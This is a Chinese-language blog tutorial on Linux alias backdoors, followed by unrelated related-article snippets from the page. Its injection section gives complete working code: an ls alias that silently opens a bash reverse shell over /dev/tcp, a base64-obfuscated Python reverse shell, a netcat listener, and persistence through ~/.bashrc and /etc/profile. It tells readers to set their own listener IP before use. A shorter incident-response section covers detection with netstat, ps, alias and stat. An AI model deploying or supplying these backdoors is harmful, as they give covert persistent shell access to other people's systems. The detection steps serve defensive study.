alias 后门从入门到应急响应
目录
1. alias 后门介绍
2. alias 后门注入方式
2.1 方式一(以函数的方式执行)
2.2 方式二(执行python脚本)
3.应急响应
3.1 查看所有连接
3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令
3.3 查看别名
3.4 其他情况
3.5 那么检查这些启动程序和配置文件是否被篡改
1. alias 后门介绍
在Linux系统中,alias命令通常用于为常用的命令设置快捷方式或别名,以提高工作效率。然而,这个特性也可能被滥用来创建后门,允许攻击者在不知情的情况下执行恶意命令。
2. alias 后门注入方式
2.1 方式一(以函数的方式执行)
alias命令的功能:为命令设置别名
alias 查看命令的别名
定义:alias ls="ls -al"
删除别名的:unalias ls
每次输入ls命令的时候都能实现ls -al# 方式一设置 输入ls时会卡主
alias ls="ls -al"
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.12/3333 0>&1; };alerts'# 反弹shell,只需要被植入的后门的主机输入ls命令就会反弹一次shell,但是会卡主容易被发现
设置完毕后,每输入一次ls命令就会反弹一次shell ,但是会卡主,容易引起怀疑
在kali监听主机端,输入nc -lvvp 3333 监听端口
2.2 方式二(执行python脚本)
alias命令的功能:为命令设置别名
alias 查看命令的别名
定义:alias ls="ls -al"
删除别名的:unalias ls
每次输入ls命令的时候都能实现ls -al# 设置一后再设置二时先删除1
unalias ls
alias ls="ls -al"# 方式二设置 需要有Python3环境
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xNSIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgpCg=='\'')))";};alerts'# 反弹shell
nc -lvvp 3333 # 通过在 ~/.bash_profile /etc/profile 这两个系统的配置文件中进行设置,使得服务器每次登录后就触发alias后门
vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi
在目标主机上配置后门时需要确保目标主机有Python3的运行环境,不然无法进行反弹shell
Ubantu和Centos7一键shell更换镜像源与Linux系统Python3环境安装-CSDN博客https://blog.csdn.net/weixin_72543266/article/details/142066916?spm=1001.2014.3001.5502 在进行反弹shell,时需要对执行的脚本代码中的base64中的内容进行修改.先解吗中间的base64部分,改完后,在编码回去替换
Base64 编码/解码 - 锤子在线工具此工具是一个 Base64 编码或解码在线工具,实现把字符串转成 Base64 或者从 Base64 转成成字符串。https://www.toolhelper.cn/EncodeDecode/Base64
aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC44Ni4xMzciLCAzMzMzKSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQo=
# 查看别名
alias
# 如果之前有设置过,需要先删除,然后重新设置
unalias ls# 设置别名的内容,记得使用前需要修改哦(一定要将反弹shell的ip地址设置正确)
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMiIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgpCg=='\'')))";};alerts'# 设置完后确认一下
alias
这里用监听机kali进行监听反弹回来的端口
# 监听主机进行监听
nc -lvvp 3333
3.应急响应
此时确定后门以进行连接
3.1 查看所有连接
发现与 192.168.10.2:20546 的异常连接,是反弹的shell连接
netstat -anpt
3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令
ps aux | grep 33636
查看 PID 为33636的 PPID,发现是1
cat /proc/33636/status
3.3 查看别名
通过alias发现了异常别名
这里对base64文件进行解码发现确实为反弹shell的py脚本
3.4 其他情况
通过使用命令unalias alert
可以删除别名,但是如果下一次 ssh 远程登录该服务器,又会重新出现该别名,如上图所示,猜测可能 alias 后门写进了 系统的启动程序和配置文件中,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout
才会导致,每次登录服务器就会重新触发 alias 后门
3.5 那么检查这些启动程序和配置文件是否被篡改
将检查出来存在修改的文件信息,进行删除即可
stat ~/.bash_profile
stat /etc/profile
相关文章:

alias 后门从入门到应急响应
目录 1. alias 后门介绍 2. alias 后门注入方式 2.1 方式一(以函数的方式执行) 2.2 方式二(执行python脚本) 3.应急响应 3.1 查看所有连接 3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令 3.3 查看别名 3.4 其他情况 3.5 那么检查这些…...

【远程调用PythonAPI-flask】
文章目录 前言一、Pycharm创建flask项目1.创建虚拟环境2.创建flask项目 二、远程调用PythonAPI——SpringBoot项目集成1.修改PyCharm的host配置2.防火墙设置3.SpringBoot远程调用PythonAPI 前言 解决Pycharm运行Flask指定ip、端口更改无效的问题 首先先创建一个新的flask项目&…...

[今日Arxiv] 思维迭代:利用内心对话进行自主大型语言模型推理
思维迭代:利用内心对话进行自主大型语言模型推理 Iteration of Thought: Leveraging Inner Dialogue for Autonomous Large Language Model Reasoning URL:https://arxiv.org/abs/2409.12618 注:翻译可能存在误差,详细内容建议…...

glTF格式:WebGL应用的3D资产优化解决方案
摘要 glTF作为一种高效的3D资产格式,为WebGL、OpenGL ES和OpenGL运行时的应用提供了强有力的支持。它不仅简化了3D模型的传输与加载流程,还通过优化资产大小,使得打包、解包更加便捷。本文将深入探讨glTF格式的优势,并提供实用的代…...

Unity3D入门(一) : 第一个Unity3D项目,实现矩形自动旋转,并导出到Android运行
1. Unity3D介绍 Unity3D是虚拟现实行业中,使用率较高的一款软件。 它有着强大的功能,是让玩家轻松创建三维视频游戏、建筑可视化、实时三维动画等互动内容的多平台、综合型 虚拟现实开发工具。是一个全面整合的专业引擎。 2. Unity安装 官网 : Unity…...

数据结构与算法——Java实现 8.习题——移除链表元素(值)
祝福你有前路坦途的好运,更祝愿你能保持内心光亮 纵有风雨,依然选择勇敢前行 —— 24.9.22 203. 移除链表元素 给你一个链表的头节点 head 和一个整数 val ,请你删除链表中所有满足 Node.val val 的节点,并返回 新的头节点 。 示…...

如何理解MVCC
MVCC是什么? MVCC,是MultiVersion Concurrency Control的缩写,翻译成中文就是多版本并发控制,多个事务同时访问同一数据时,调控每一个事务获取到数据的具体版本。和数据库锁一样,它也是一种并发控制的解决…...

在 Qt 中使用 QLabel 设置 GIF 动态背景
文章目录 在 Qt 中使用 QLabel 设置 GIF 动态背景本文食用注意目标实现步骤1. 准备工作2. 修改头文件 widget.h3. 实现构造函数和析构函数4. 调整背景大小5. 完整代码分析6. 运行程序 总结 在 Qt 中使用 QLabel 设置 GIF 动态背景 在 Qt 中,如果希望在窗口中设置一…...

Flyway 数据库差异处理
Flyway 数据库差异处理详解 在软件开发过程中,数据库 schema 的变更是不可避免的,尤其是在多人协作、多环境部署时,不同环境中的数据库结构可能出现差异。Flyway 作为一个数据库迁移工具,通过版本控制和自动化迁移,确…...

CSS 选择器的分类与使用要点一
目录 非 VIP 用户可前往公众号进行免费阅读 标签选择器 id 选择器 类选择器 介绍 公共类 CSS 中优先用 class 选择器,慎用 id 选择器 后代选择器 交集选择器 以标签名作为开头 以类名作为开头 连续交集 并集选择器(分组选择器) 通配符* 儿子选择器 >(IE7…...

无人机集群路径规划:麻雀搜索算法(Sparrow Search Algorithm, SSA)求解无人机集群路径规划,提供MATLAB代码
一、单个无人机路径规划模型介绍 无人机三维路径规划是指在三维空间中为无人机规划一条合理的飞行路径,使其能够安全、高效地完成任务。路径规划是无人机自主飞行的关键技术之一,它可以通过算法和模型来确定无人机的航迹,以避开障碍物、优化…...

harbor集成trivy镜像扫描工具
harbor项目地址:GitHub - goharbor/harbor: An open source trusted cloud native registry project that stores, signs, and scans content. 前置条件:安装好docker和docker-compose 一、安装harbor 1、下载harbor安装包并解压 wget https://github.com/goharbor/harbo…...

DMA学习
一、DMA简介 DMA是一种无需CPU的参与就可以让外设与系统内存之间进行双向数据传输的硬件机制。使用DMA可以使系统CPU从实际的I/O数据传输过程中摆脱出来,从而大大提高系统的吞吐率。 DMA方式的数据传输由DMA控制器(DMAC)控制,在传…...

C语言18--头文件
头文件的作用 通常,一个常规的C语言程序会包含多个源码文件(.c),当某些公共资源需要在各个源码文件中使用时,为了避免多次编写相同的代码,一般的做法是将这些大家都需要用到的公共资源放入头文件ÿ…...

vscode软件在 C发中常用插件
一. 简介 本文简单介绍一下,当做 C开发时 vscode软件常用的插件。 vscode软件是 微软公司目前提供的一款免费的开发软件,可以通过 vscode官网下载 vscode。 二. vscode软件在 C开发中常用插件 注意:vscode软件安装后,可以直接…...

【C++ Primer Plus习题】17.2
大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <fstream> using namesp…...

Vue Props传值
Props用于父组件向子组件传值 定义类型 // 定义一个接口,用来限制Teacher的属性 export interface Teacher {name: string;age: number;gender: string; }export type teacherList Teacher[];// 一个自定义类型 export type Teachers Array<Teacher>;父组件 <scr…...

FreeSWITCH event_socket 配置从其他地址连接
FreeSWITCH 默认配置只能 在本机连接, 要从 其他ip连接, 需要如下配置: 1、修改event_socket.conf.xml 1 <configuration name"event_socket.conf" description"Socket Client">2 <settings>3 <param name"nat-map&…...

信息安全数学基础(19)同余式的基本概念及一次同余式
一、同余式概念 同余式是数论中的一个基本概念,用于描述两个数在除以某个数时所得的余数相同的情况。具体地,设m是一个正整数,a和b是两个整数,如果a和b除以m的余数相同,则称a和b模m同余,记作a≡b(mod m)。反…...

网关过滤器:Spring Cloud Gateway
在Java中,实现网关过滤器(Gateway Filter)通常与Spring Cloud Gateway相关。Spring Cloud Gateway是一个基于Spring Framework 5、Project Reactor和Spring WebFlux构建的API网关,它为微服务架构提供了一种简单而有效的方式来路由…...

力扣最热一百题——除自身以外数组的乘积
目录 题目链接:238. 除自身以外数组的乘积 - 力扣(LeetCode) 题目描述 示例 提示: 解法一:左右数组(小型动态规划) 实现思路 Java写法: 运行时间 C写法: 运行时…...

监控易监测对象及指标之:全面监控SQL Server数据库
随着企业信息化建设的深入,数据库作为核心数据资产的管理中心,其性能和稳定性直接关系到业务的连续性和企业的运营效率。SQL Server作为一款功能强大、性能稳定的关系型数据库管理系统,广泛应用于各类业务场景中。 为了确保SQL Server数据库的…...

计算机视觉的应用34-基于CV领域的人脸关键点特征智能提取的技术方法
大家好,我是微学AI,今天给大家介绍一下计算机视觉的应用34-基于CV领域的人脸关键点特征智能提取的技术方法。本文主要探讨计算机视觉领域中人脸关键点特征智能提取的技术方法。详细介绍了基于卷积神经网络模型进行人脸关键点提取的过程,包括使…...

What is new in .NET 8 and C#12
目录 What is new in .NET 8? .NET Aspire Core .NET Libraries Metrics软件度量 Networking Extension Libraries Garbage Collection Reflection Improvements Native AOT Support NET SDK What is new in C# 12 ? Primary Constructors Collection Expressio…...

基于R语言的统计分析基础:使用键盘输入数据
在R语言中,键盘输入数据是一种灵活且直接的数据获取方式,适用于处理小数据集或需要即时用户交互的场景。通常用于交互式数据探索和分析、临时数据处理、交互式图形绘制、脚本自动化中的用户交互、特定应用场景下的数据录入中。 比如利用readline()函数根…...

unity3d入门教程九
unity3d入门教程九 20.2播放音频20.3在代码中播放21.1延时调用21.2invoke API21.3消息调用22.1交互界面22.2添加canvas22.3canavas的位置22.4添加text 这里给一个资源网站,可以部分免费下载,音乐和音效超多,支持检索 爱给网 https://www.aige…...

着色器 简介
着色器(Shader)是运行在 GPU 上的小程序。这些小程序为图形渲染管线的某个特定部分而运行。从基本意义上来说,着色器只是一种把输入转化为输出的程序。着色器也是一种非常独立的程序,因为它们之间不能相互通信;它们之间…...

redis单点、主从、哨兵、集群的不同
redis哨兵模式有几个: 单点主从哨兵集群 区别 主从模式:读写分离。 哨兵模式:哨兵模式是在主从模式的基础上添加了故障检测和自动故障转移的功能。还是读写分离。 哨兵节点负责监控主节点和从节点的状态,并在主节点宕机时选举新…...

notepad++的json查看
json文件查看 因为接触到3dtile模型,所以经常需要和json打交道,但是很多模型是下面这种情况,不好阅读,所以可以使用notepad的插件查看 正常打开是这样的 加载notepad插件 搜索json下载安装就可以了 如果网络抽象,下载…...

基于无人机影像的可见光单木分割数据集-json格式
基于无人机影像的可见光单木分割数据集,共1700张影像,数据集大小3.6GB,分割标注采用标准json格式。 该数据集是一个专门用于基于无人机可见光影像进行单木分割的数据集,旨在帮助研究人员和开发者训练和评估基于深度学习的图像分割…...